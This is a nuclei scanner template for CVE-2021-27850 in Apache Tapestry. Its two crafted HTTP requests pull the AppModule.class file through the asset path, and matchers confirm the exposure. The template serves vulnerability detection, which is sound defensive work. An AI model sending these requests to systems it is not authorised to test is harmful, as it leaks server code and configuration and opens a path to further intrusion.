nuclei-templates/http/cves/2021/CVE-2021-27850.yaml

67 lines
2.0 KiB
YAML

id: CVE-2021-27850
info:
name: Apache Tapestry - Remote Code Execution
author: pdteam
severity: critical
description: |
Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
remediation: |
Apply the latest security patches or updates provided by Apache to fix the vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/04/15/1
- https://security.netapp.com/advisory/ntap-20210528-0002/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27850
cwe-id: CWE-502,CWE-200
epss-score: 0.97402
epss-percentile: 0.99878
cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: tapestry
tags: cve,cve2021,apache,tapestry
http:
- raw:
- |
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'application/java'
- type: word
part: body
words:
- 'configuration'
- 'webtools'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: id
group: 1
regex:
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
internal: true
part: header